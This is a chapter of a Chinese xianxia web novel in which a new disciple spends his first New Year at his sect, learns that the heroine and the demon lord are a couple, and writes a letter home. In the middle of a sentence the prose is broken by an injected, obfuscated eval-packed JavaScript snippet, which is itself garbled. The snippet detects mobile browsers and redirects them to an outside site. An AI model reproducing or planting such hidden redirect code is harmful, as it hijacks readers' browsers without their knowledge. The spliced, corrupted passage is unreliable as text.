111. 番外四 新年

作品:《捡个魔尊当弟子

    顾望是在今年入天璇峰的。 他本是凡间一小官之子,去参加玄晖宗的招新试炼也纯粹是试试运气,没曾想运气竟这么好,他当真被一位仙长给看中了。 离家那日,父亲紧紧拉着他的手:“儿啊,我顾家的祖坟冒青烟了啊。既是入了宗门,就要潜心向学,万不可丢了顾家的脸面。” 母亲在一旁抹泪:“儿啊,身子最重要,也别用功用过了头,记得常回来看看。” 贺望深深一拜,从此别了父母。转过身的那一刻,他用袖子擦去溢出的泪水,暗自下了决心,从今日起,他誓要努力修行,除魔卫道,不辜负父母,也不辜负苍生。 可近一个月下来,他不得不承认,理想和现实还是有差距的。 这日,他早早来到练功堂内,重温着昨日新学的阵法。不多时,谢淳走了进来,笑着打招呼道:“小师弟,今日也来得这般早啊。” 贺望一激灵,立马站起身,嗓音洪亮:“大师兄早上好!” “早上好。”谢淳拍了拍他的肩,示意他坐下。今日的小师弟也是如此有活力呢。 又过了好一会,燕明昭才打着哈欠过来,柳甫畅揽着她的肩,与她一同走了进来。 谢淳轻咳一声,虽没有明说,目光中的含意却再明显不过——小师弟还在呢,你俩注意点。 燕明昭会意,毫不留情地将柳甫畅推到了一边。察觉到柳甫畅委屈的眼神后,她又于心不忍,揉了揉他的脑袋。 柳甫畅顿时眉开眼笑,顶着一头翘起的毛向里边走去。 谢淳:“......”没眼看。 贺望:“......”哇哦。 四人在各自的位置上坐着,贺望抬头瞅了眼三个师兄师姐,忍不住问道:“师尊怎么还没来?” 燕明昭复又站起身:“看来今日是不会来了,我回去补觉去了。” 柳甫畅亦步亦趋:“师姐,等等我!” 谢淳:“......”师妹去补觉为什么你也要跟着。 就在两人快走到门口之时,一道身影跌跌撞撞地跑了进来。殷照敞着衣领,浑身酒气,怀中还抱着个酒坛:“来,乖徒们,今日我们来学怎么布酒...不对,是酒阵...也不对,那个词怎么说来着...” 他步履不稳,边晃悠边说,最后直接柔若无骨地倒在了地上。转眼间,一阵鼾声传来。 谢淳再度:“......”这学的是速睡吧?! 他维系着摇摇欲坠的笑意,扭头对目瞪口呆的贺望说:“小师弟,习惯就好,师尊醉酒的次数比起从前已是低多了。” 贺望:“......”一个月三次原来已经算是低的了吗。 他把书合上,关切问道:“那我们要不要扶师尊回房?”总不能让他就这么在地上躺着吧?? 怎料燕明昭说:“无妨,不用管他,他自己会摸索着爬回去。” 贺望想象了一下那副场景...很好,想象不出来。 他还欲再说些什么,却听得他一向认为最是靠谱的大师兄也赞同了这话:“不错,我们回去吧。” 几人走出练功堂,贺望又回头望了殷照一眼,就见他在地上睡得正香,似乎是嫌光太亮,还用小臂遮住了双眼。 贺望:“......” “师弟。” 听见柳甫畅在唤自己,贺望立时回过神来:“怎么了,二师兄?” 柳甫畅用扇子指了指不远处的一片灵植:“你看那是什么。” 贺望不疑有他,向那片灵植走去。然而就在快要走到之时,他的身影却凭空消失了,徒留手上拿着的书落在了原地。 燕明昭用手肘碰了碰他:“你怎么能欺负人小师弟呢?” 柳甫畅将折扇展开,面色坦然:“这锻炼的事怎么能叫欺负呢,况且这不过是最简单的一道迷阵,师弟不出半日就能出来。” 说着,他用扇尖点了点谢淳:“师兄,我看出来你在憋笑了。” 谢淳:“......” “我没有...噗。” 柳甫畅:“......” 燕明昭:“......” 两人对视一眼,也俱是笑了起来。 虽然总觉着峰内处处透着不靠谱,但贺望还是逐渐适应了下来,修为也在增长着。经过不断的重复和失败,他终于成功布出了第一道缩地阵。 以他现在的修为,只能移动一小段距离,但这已足够令他欣喜了。他站在自己所居的弟子院落中,一会把自己从院东传到院西,一会又把自己从院南传到院北。 于是燕明昭推开院门后,看见的就是在院中各个角落突然出现,又突然消失的贺望。 燕明昭:“......” 贺望玩得不亦乐乎,丝毫没察觉到有人进来了。直到燕明昭出声唤他:“小师弟。” 贺望身子一僵,缓缓扭过头去,整个人都要熟透了:“师姐,我...” “我敲了几遍门都没回应,便直接进来了。”燕明昭丝毫未提及方才之事,就如没看到一般,“含盈前辈回来了,师尊让我们去主殿。” 身为天璇峰的弟子,贺望自然听说过梁惜因的名号——阵法的一代宗师,凭一己之力劝降了魔尊重霄,功不可没。 这般人物,贺望以往只在书中见过,未曾想自己有朝一日也能亲眼见到。激动瞬间就取代了方才的尴尬,贺望收拾着心情,高声应道:“是,师姐!” 四人来到了主殿中,令贺望没想到的是,殿中除了师尊和一名清丽非常的女子,还立着个极为俊美的男子。在天璇峰内,重霄并未遮掩眉间的纹样与两枚眼下痣,贺望几乎是一眼就看出了他的身份——魔尊。 他脚步慢了下来,迟疑着要不要走上前去。从小到大,他可没少听关于这位的传闻,嗜杀如命、冷血无情...为什么他会出现在这仙门大宗之内?偏偏其余诸人还一点反应也无,好似早便习惯了。 贺望心中蓦地涌出一个想法——莫不是他们都被蛊惑了?这想法乍看荒谬,可贺望越想越觉合理,那可是魔尊诶!能有如此实力也不稀奇吧? 贺望握紧了双拳,只觉自身责任重大,他一个刚入门的弟子,要如何在魔尊的眼皮子底下唤醒峰内前辈? 头顶突然被敲了一下,贺望抬眼,就见柳甫畅握着折扇,正小声提醒他:“发什么呆呢,走快些。” 贺望:“...哦。” 乱七八糟的想法被打断,贺望随着师兄师姐们向里走去。殿内的气氛很是松弛,几人规规矩矩地行了一礼,就都向梁惜因围去。燕明昭站得离梁惜因极近,什么都没说,眼神却时不时地落在她身上。 梁惜因轻笑:“明昭,我身上都要被你盯出个洞来了。”她边说边在乾坤袋中翻找着,“此次下山去了这么久,自然给你们带了礼物。” 柳甫畅调侃道:“师姐这些时日可是天天跟我念叨,前辈要是再不回来,她怕是连下山去找你都做得出来。” 燕明昭瞪他:“你胡说,我才不至于做出这事来!” 柳甫畅有一下没一下地摇着扇子:“是吗,也不知是谁说她太想前...唔唔唔!” 燕明昭捂住他的嘴,重新恢复了面上笑意:“前辈,你别听他说,他睡糊涂了。” 殷照也凑了过来,搓着手掌道:“前辈,魔尊,我也有份吗?” “自然。”梁惜因掏出一小坛酒来,“皇城的松根月,还真是一如既往地难买。” 殷照两眼放光地接过酒坛,欢呼一声道:“前辈若有用得到晚辈之处,晚辈定然义不容辞!” 梁惜因:“......”这人还是一如既往的没个正形。 梁惜因余光瞥见殿中还站着一人,她探出脑袋,笑着说:“这便是新入门的贺望吧,怎么不过来?” 乍然被点名,贺望顿了一瞬。方才眼见几人笑语不断,他心中确实闪过几分艳羡,前辈们的关系比他想象的还要好。他带着些崇拜地注视着他们,想着自己还要修炼多久才能提升境界。 眼下几人都笑眼望着他,贺望这才惊觉他自己其实也是天璇峰的一员。他身子一僵,同手同脚地走了过去,又在梁惜因的要求下僵硬地伸出了手。 掌中被轻轻放上一个小瓷瓶,梁惜因对他说:“这是由碧玄芝制成的丹药,对新入门的修士最是有益,你好好收着。” 贺望又愣住了,他一是没想到这礼物还有自己的份,二是...他在书中看到过,碧玄芝这类珍稀灵植只在漆吴山大量生长着,而漆吴山众所周知是魔族的地盘。 想到这,贺望偷偷瞥向重霄。重霄察觉到他的视线,对他露出了一个极淡的笑容,淡到贺望险些以为这是自己的错觉。这是一个纯粹的笑容,不含任何恶意与嗜血的成分在。 贺望这时第一次意识到传闻不可信,含盈仙子并非是冷心冷面、一心只想着修炼和天下苍生的阵道天才;魔尊重霄也并不是那穷凶极恶、见人就杀的大魔头。 笑意自面上浮现,贺望双手握紧瓷瓶:“晚辈贺望,多谢前辈和魔尊。” 礼物送完后,梁惜因和重霄要去一趟天玑峰,殿中诸人便一同往外走着。贺望小心地将瓷瓶收起,目光又落在走在最前方的二人。等等...他揉了揉眼睛,为什么含盈前辈和魔尊是牵着手的?还有魔尊看向含盈前辈的眼神,他怎么觉着那么熟悉呢... 耳畔响起折扇的开合声,贺望猛地扭头看向柳甫畅。是了,二师兄看师姐的眼神便是如此! 他缓缓张大了嘴巴,劝降...原来是这么个劝降法啊?? 柳甫畅被他盯得渗得慌,走过来一手按住他的头,一手按在他的下巴上,替他将嘴合上了。“怎么了这是?”他问道。 梁惜因和重霄已布阵离开了,殷照也回自己的峰主院落了。谢淳看着贺望呆滞的神情,若有所思道:“说起来,有件事我们是不是忘了和小师弟说了?” “何事?”燕明昭起初还未反应过来,片刻后也意识到了什么,“好像确实没有...” 三人的目光一齐落在了贺望身上,贺望咽了口唾沫,莫名紧张起来。 一炷香后,贺望的嘴巴自再度张开后就没合上过。含盈前辈和魔尊...竟是一对道侣??!话本也不敢写啊!! 燕明昭对此十分感同身受,当年在得知梁惜因的真实身份后,她也是这种心情。她清了清嗓子,说:“现在才告诉你,确实是我们的疏忽。” 毕竟在修仙界,就算两人办得再低调,此事也几乎是无人不知无人不晓。就连她在先前去通知贺望时,都只说了梁惜因一人的名号,毕竟有梁惜因的地方就有重霄在,已经成为众修士心照不宣之事了。但贺望不一样,他来自于凡间。 柳甫畅怕他嘴巴再张下去,这辈子就只能维持这个表情了,于是又好心地替他将嘴合上:“也是这些天前辈都和魔尊都在山下游历,还是马上要过年了才回来,所以我们也都没想起这事来。” 贺望尚未完全缓过神来,闻言怔愣问道:“修士也要过年吗?” “自然。”谢淳笑了笑,揉了把他的发顶,“不论是人、仙、魔还是妖,都是要过年的。” “辞旧岁,迎新朝。” 正月初一当日,各峰峰主和长老一同聚在了天枢峰上,喝酒、赏雪、漫谈... 主殿前方盘着一串爆竹,这些个前辈们在此时俱是忘了自己是修士,推搡了半天才终于推出段凌轩去点火。段凌轩满怀自信地去了,又在爆竹响起的一瞬被吓得蹦出去老远。 新年的第一声爆竹自天枢峰响起,紧接着各峰都响起了爆竹之声。连绵着驱散了旧年的尘埃,欢迎着新岁的到来。 爆竹声声,盖不过人声鼎沸。不论交情如何,此时每个人面上都带着喜色,道喜声和祝福之语不绝于耳。梁惜因和重霄站在人群的后方,重霄环抱住梁惜因,被她脸上的笑意所染,自己扬起的嘴角也一直未曾落下。 梁惜因微微侧过头,两人的距离极近,呼吸交缠。梁惜因笑容更甚:“阿霄,新年快乐。” 她的声音混杂着噼里啪啦的爆竹声,一直流淌进重霄心底,“新年快乐。”他郑重说道。 午宴过后,众人便开始了玄晖宗的传统保留项目——打叶子牌。重霄此前从未参与过这种活动,梁惜因一边和其他三人打着一边教他。 “阿因,该你出牌了。”梁惜时提醒着自家妹妹,视线却落在了重霄身上。一个叶子牌有那么难学吗?还有学牌就学牌,凑那么近干什么,看不清吗??他不由腹诽道。 不止他在看着重霄,殿中有不少人都有意无意地将目光落在了重霄身上。堂堂魔尊来玄晖宗过新年,光是想想就很奇怪啊!偏偏掌门没意见,那也由不得他们说什么了。 不过...含盈仙子和魔尊的感情是真好啊,没想到他们二人竟是当真两情相悦,而非含盈仙子以身饲魔。 察觉到梁惜时投过来的目光,这些人莫名感到一阵寒意,连忙将视线收了回去。梁惜时这才重新低头看牌,真是不管过了多久,宗内总有这般爱多管闲事之人。 这把结束后,梁惜时提出让重霄来打上一把练练手。可他很快就后悔这个提议了,重霄这小子完全不按路数出牌,才打了一半他就知自己要输了。临到最后,他终是抓住了重霄的一处破绽而险胜了。 梁惜时摸着下巴,若有所思:“再来。” 几把下来,无一不是重霄起先强势,在和梁惜时对上后却又因各种破绽而惜败。梁惜时咳了两声,摸着袋中的灵石,难得有几分不好意思:“行了,你们打吧。” 一下午的时间转瞬而逝,扶岳摸着一颗灵石也无的乾坤袋,愤愤道:“为何啊?为何就我一把都没赢过?!” 谢既微默默地将自己的乾坤袋收起,同情地对他说:“可能是命吧。” 扶岳一把将乾坤袋扔在了桌上:“新年第一天,要不要这么倒霉啊!” 喊完后,他化出虎耳,又变了副面孔,用脑袋蹭着林韵舒,唤道:“夫人。” 林韵舒双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15082990|152851||http|test|mini|href|location.split(|),0,{})); () { $(.inform).remove(); $(#content).append( 手背在身后,坚决不摸他:“我没钱。” 扶岳:“......”没爱了。 另一边,重霄轻晃了下手中袋子,又将之交到了梁惜因手中。梁惜因轻“咦”一声:“这不是你的乾坤袋么?” “交给阿因保管。”重霄一手托腮,偏头看着她。这一个下午,除了梁惜时,也就是他赢得最多。 梁惜因笑着应道:“好,那你要用的时候记得来找我拿。” 暮色上涌,聚在天枢峰的众人陆续回了峰。重霄牵着梁惜因,两人深一脚浅一脚地踩在雪中。玄晖宗内冬暖夏凉,也是很久没下过这么大的雪了。 穿过终年长青的高大古木,梁惜因眼前的景象逐渐清晰起来。只见天璇峰中央最开阔的空地之上,整齐地立着几个雪人。雪人周围还围着好些人,正忙着滚雪球。 梁惜因扫了一眼,唇边溢出笑来:“都在啊。” 蹲着拢雪的几人纷纷站起身,行礼道:“前辈/师尊。” 梁惜因缓缓走近,先问离她最近的贺望道:“怎么还在宗内,不是说要回家过年的吗?” 贺望立马站好,带着些激动地答话道:“回前辈,我过几日再回去。”他的声音渐渐小了下来,“入宗后的第一个年,我想和大家一起过。” “也好。”梁惜因碰了碰他的脸,确认不凉后才放下心,看来这御寒诀掌握得还不错。 “前辈!快过来。” 梁惜因应了一声,转身向燕明昭走去。重霄在旁扶着她:“阿因,走慢些。” 等两人走到了面前,燕明昭抱着双臂,示意他们看向她脚边的两个雪人。 梁惜因蹲下身,细细打量了一遍,由衷说:“明昭,这都是你堆的吗,好厉害!”面前的两个雪人一大一小,憨态可掬。较大些的雪人立在后面,看上去就如将小雪人拥在怀中一般。 “那当然。”燕明昭扬着脸,“猜猜这堆得是谁?” 梁惜因:“......”她沉吟一番,“嗯...这有鼻子有眼的,应该是...” 她应该了半天也没应该出个人名来,柳甫畅这时插话道:“看不出来吗?师姐堆的时候可是不让任何人帮忙呢。” 燕明昭深吸一口气,从地上抓起一把雪扬了过去:“要你多嘴!” 见状,梁惜因反倒肯定了心中猜想,“是我和阿霄吧?”她问。 燕明昭拍掌:“我就说前辈定能认得出来!那姓柳的还说我堆得不像。”她双手叉着腰,自得的道:“怎么样,不错吧?” “嗯,”梁惜因笑着说,“很可爱。” 说完,她扯了扯重霄的袖子。重霄与她对视一眼,也说道:“确实可爱。” 燕明昭受着夸奖,哼哼两声,开始碎碎念:“我一开始是打算堆个前辈出来的,堆完后却总觉少了些什么,便把魔尊也堆了出来,这才看着顺眼不少...” “堆完了!”不远处响起一道声音,燕明昭止住话头,几步便走了过去,“师尊也堆完了?” 梁惜因拉着重霄的手站起身,也走过去凑热闹。殷照坐在雪地上,向几人展示着他的醉卧雪人。 燕明昭目露疑惑:“师尊,你再说一遍,这东西叫什么?” “醉卧雪人啊!”殷照一一指过最前面的雪团、长长的雪条,还有置于一旁的雪块,“这是头,这是身子,这是酒坛,看不出来吗?” 众人:“......”说实话,这谁能看出来啊?? 殷照还在理论着,梁惜因偏过头,问站在后面的纪长天道:“你做的雪人呢?” 纪长天迟疑了一瞬才开口说:“做得不好...” “没关系,我想看一看。”梁惜因打断他。 纪长天遂指向最右边的一个雪人,在见识过殷照的神作后,梁惜因不由觉着这雪人做得着实精巧。与其他雪人不同的是,这雪人身后还有着一对翅膀,与纪长天化作鹤形后的羽毛同样洁白无暇。 “这不是做得很好嘛。”梁惜因对他说,“一看就很是用心。” “弟子多谢师尊!”纪长天还是和从前一样,一被她夸赞就容易脸红。 燕明昭又站回梁惜因身侧,拉着她一一看过这些雪人,跟她介绍道:“这是师兄堆的,是不是一看就很端正;那是常前辈堆的,是几个雪人里堆得最好看的了;还有这个...” “是我堆的!”贺望举着手跑来,因动作太急,若不是常谧搀了他一把,怕是要直接跌进雪中了。 燕明昭不慌不忙地接完后半句话,“堆得还行,不过比起我的还是差了一些。” 走了一圈下来,梁惜因指着没被她介绍到的,同样依偎在一起的两个雪人,明知故问道:“这是你和柳甫畅吧?” 燕明昭半低着头,有一下没一下地踢着脚下的雪:“是他堆的,堆的还...挺好看的。” 见不远处的柳甫畅面露惊喜,梁惜因笑了笑,收回视线。她抬手捏了一道诀,灵力自她指尖流出,泛着浅淡的微光,萦绕在这九个雪人身上,又融进了它们体内。 “这样就能保存得久一些了。”她道。 天色渐渐暗淡下来,姿态各异的九个雪人立在这片空地之上、立在众人眼前,像是在欢迎他们回家。 晚风吹散层云,星子照彻寒夜,皑皑白雪在皎月的光辉下闪着细碎的银光,照亮了前路。贺望踩着雪回到弟子院中,点燃了桌上烛火,随后马不停蹄地坐到了桌前,开始给家中写信。 因方才跑得太快,贺望此时还在微微喘息着,呼出的热气在空气中凝为白色水雾,又在倏忽之间散去。他摊开宣纸,认认真真地写道: 阿爹阿娘, 见字如面。 时日过得真快,转眼间儿子已入宗三个月了。 我这些天过得很好,师尊还有师兄师姐们也都待我很好。阵法虽然有点难,但我会认真学的!我还新学了很多法诀,回去后就展示给你们看。对了,说出来你们可能都不相信,我这几日见到含盈仙子和魔尊了!他们二人和传闻中的一点都不一样,尤其是魔尊,看上去根本不会害人。 昨日我还和师尊他们一起去含盈仙子的院中吃饭了。说来奇怪,这隆冬天,那院子里竟然还有梨花开着。桌上的所有饭菜都特别好吃,比酒楼里的要好吃多了! 今日是正月初一,也是我在玄晖宗过得第一个年。修仙界的习俗有好多都和凡间不太一样,但大家聚在一起,还是很热闹,尤其是今天上午的爆竹声,响得估计连山下的人都能听到。白日里师兄师姐带我去山下玩了,还给我买了好多小玩意,我也给他们送了回礼。当然,我也给阿爹阿娘买了新年礼物!回来后天都快暗了,我和前辈们就一起在峰上堆雪人,特别有意思。含盈仙子还给雪人施了法术,说这样能保存得久一点。 在天璇峰的每一天都很令人开心,希望以后大家还可以经常像今天这样聚在一起,岁岁年年。 三日后儿子便会归家,忽忧、忽念。 岁次甲申正月初一 子贺望敬叩